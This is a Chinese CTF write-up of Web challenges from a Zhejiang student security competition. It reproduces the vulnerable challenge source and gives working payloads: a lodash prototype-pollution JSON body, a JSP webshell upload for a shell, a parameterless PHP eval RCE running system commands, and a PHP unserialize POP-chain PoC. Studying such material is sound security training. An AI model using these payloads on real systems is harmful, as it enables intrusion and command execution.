第七届浙江省大学生网络与信息安全竞赛 Web方向 WriteUp
Jay17 发表于 浙江 CTF 352浏览 · 2024-11-04 16:24

网安知识大挑战

题目描述:欢迎来到2024年浙江省大学生网安竞赛,下面是一个签到题,答题正确或者其他方法即可获取flag,flag格式为 DASCTF{xxx},提交flag时只需要提交括号内的内容。

开题,是是个选择题。

估计是前端的,源码中找到了答案但是提交不对。。。。。。。

应该是需要另辟蹊径,源码中找到了flag解密逻辑,AES CBC。但是写脚本没解出来悲

继续看,找到了输出flag的条件

十个题目全部答完后,打上断点,点击提交

控制台修改变量e为true

之后结束调试就行了

easyjs

题目描述:一个简单的笔记应用,只有管理员能查看flag

const express = require('express');
const _ = require('lodash');
const fs = require('fs');
const app = express();

app.use(express.json());

// 存储笔记的对象
const notes = {};

// 创建新笔记
app.post('/api/notes', (req, res) => {
    const noteId = req.body.id;
    const noteData = req.body;

    if (!noteId) {
        return res.status(400).json({ error: 'Missing id' });
    }

    // 使用lodash.merge,该版本存在原型链污染漏洞
    notes[noteId] = {};
    _.merge(notes[noteId], noteData);
    console.log('Note prototype:', Object.getPrototypeOf(notes[noteId]));
    console.log('Note properties:', notes[noteId]);
    res.json(notes[noteId]);
});

// 获取笔记
app.get('/api/notes/:id', (req, res) => {
    const noteId = req.params.id;

    if (!notes[noteId]) {
        return res.status(404).json({ error: 'Note not found' });
    }

    res.json(notes[noteId]);
});

// 获取flag (仅管理员可访问)
app.get('/api/flag', (req, res) => {
    const noteId = req.headers['note-id'];

    if (!noteId || !notes[noteId]) {
        return res.status(403).json({ error: 'Authentication required' });
    }

    if (!notes[noteId].isAdmin) {
        return res.status(403).json({ error: 'Admin access required' });
    }

    try {
        const flag = fs.readFileSync('/flag', 'utf8');
        res.json({ flag: flag.trim() });
    } catch (err) {
        res.status(500).json({ error: 'Error reading flag' });
    }
});

app.listen(8000, () => {
    console.log('Server running on port 8000');
});

附件给的源码已经写明了是原型链污染。

第一步污染。

先看如何能获得flag:if (!notes[noteId].isAdmin)notes[noteId] = {};

/api/notes路由进行非常简单的js污染就行:

{"id":111,"constructor":{"prototype": {"isAdmin": true}}}

第二步拿flag。

/api/flag路由拿,记得带上HTTP头note-id

hack memory

题目描述:有内存马注入,需要书写扫描内存的代码上传执行

做完发现根本不用内存吗,最简单的jsp木马就行上线。

开题

看一下前端源码,有两个路由/hidden_step/deleteFile

路由/deleteFile无法访问,路由/hidden_step自动执行了当前目录下的memshell.jsp,但是没有这个文件。

扫描后台得到路由/upload

路由/upload可以上传文件

文件被上传到了/uploads/目录下。没找到目录穿越上传的办法。

但是上传的jsp文件能直接访问并且被解析

所以根本不用内存马,也不用造目录穿越上传文件,更加不用使用路由/hidden_step

哥斯拉生成jsp木马直接上线,getshell

wucanrce

题目描述:PHP RCE

开题,直接给了源码:

<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if(isset($_GET['code'])){
    if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))

     {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
                @eval($_GET['code']);
            }

    }
    else{
        die("不让用session欧,readfile也不行");
    }
}
?>

flag在上层目录。一眼无参数RCE

过滤了session_idreadfile,可以说毫无影响。

翻下笔记,之前训练的payload能直接用:

?c=print_r(get_defined_vars());//若POST数组为空,则需要POST传入参数为1=system('tac fl*');
?c=eval(array_pop(next(get_defined_vars())));//若POST数组为空,则需要POST传入参数为1=system('tac fl*');

payload:

GET:?code=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac ../f*');

unserialize

题目描述:PHP Unserialize【端口为70】

开题直接给了源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
    public $aear;
    public $string;
    public function __construct($a){
        $this -> aear = $a;
    }
    function __destruct()
    {
        echo $this -> aear;
    }
    public function __toString()
    {
        $new = $this -> string;
        return $new();
    }

}

class BBB {
    private $pop;

    public function __construct($string) {
        $this -> pop = $string;
    }

    public function __get($value) {
        $var = $this -> $value;
        $var[$value]();
    }
}

class DDD{
    public $bag;
    public $magazine;

    public function __toString()
    {
        $length = @$this -> bag -> add();
        return $length;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> magazine -> tower)
        {
            echo "really??";
        }
    }
}

class EEE{
    public $d=array();
    public $e;
    public $f;
    public function __get($arg1){
        $this->d[$this->e]=1;
        if ($this->d[]=1){
            echo 'nononononnnn!!!';
            }
        else{
            eval($this->f);
            }
    }
}

class FFF{
    protected $cookie;

    protected function delete() {
        return $this -> cookie;
    }

    public function __call($func, $args) {
        echo 'hahahhhh';
        call_user_func([$this, $func."haha"], $args);
    }
}
class GGG{
    public $green;
    public $book;
    public function __invoke(){
        if(md5(md5($this -> book)) == 666) {   
            return $this -> green -> pen;
        }
    }
}

if(isset($_POST['UP'])) {
    unserialize($_POST['UP']);
}

逆序分析一下,终点可能是FFF::__call($func, $args)或者EEE::__get($arg1)。进一步分析之下选择后者

POP链子:

AAA::__destruct()->AAA::__toString()->GGG::__invoke()->EEE::__get($arg1)

这里有两个特性需要用到,第一个双md5爆破,php环境7.3,结果是213,脚本如下:

<?php

$i=0;

while(true){
    $i++;
    if(md5(md5($i))==666){
        die($i);
    }else{
        echo $i."\n";
        echo md5(md5($i))."\n";
    }
}

第二个是int64整数溢出,溢出多了会截断,一般CTF溢出一点点就够了。

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807

POC如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
    public $aear;
    public $string;

    function __destruct()
    {
        echo $this -> aear;
    }
    public function __toString()
    {
        $new = $this -> string;
        return $new();
    }

}

class BBB {
    private $pop;

    public function __construct($string) {
        $this -> pop = $string;
    }

    public function __get($value) {
        $var = $this -> $value;
        $var[$value]();
    }
}

class DDD{
    public $bag;
    public $magazine;

    public function __toString()
    {
        $length = @$this -> bag -> add();
        return $length;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> magazine -> tower)
        {
            echo "really??";
        }
    }
}

class EEE{
    public $d=array();
    public $e;
    public $f;
    public function __get($arg1){
        $this->d[$this->e]=1;
        if ($this->d[]=1){
            echo 'nononononnnn!!!';
        }
        else{
            eval($this->f);
        }
    }
}

class FFF{
    protected $cookie;

    protected function delete() {
        return $this -> cookie;
    }

    public function __call($func, $args) {
        echo 'hahahhhh';
        call_user_func([$this, $func."haha"], $args);
    }
}
class GGG{
    public $green;
    public $book;
    public function __invoke(){
        if(md5(md5($this -> book)) == 666) {
            return $this -> green -> pen;
        }
    }
}


//AAA::__destruct()->AAA::__toString()->GGG::__invoke()->EEE::__get($arg1)

$Jay17=new AAA();
$Jay17->aear=new AAA();
$Jay17->aear->string=new GGG();
$Jay17->aear->string->book=213;
$Jay17->aear->string->green=new EEE();
$Jay17->aear->string->green->e=9223372036854775807;
$Jay17->aear->string->green->f="system('cat /f*');";

echo urlencode(serialize($Jay17));

0 条评论
某人
表情
可输入 255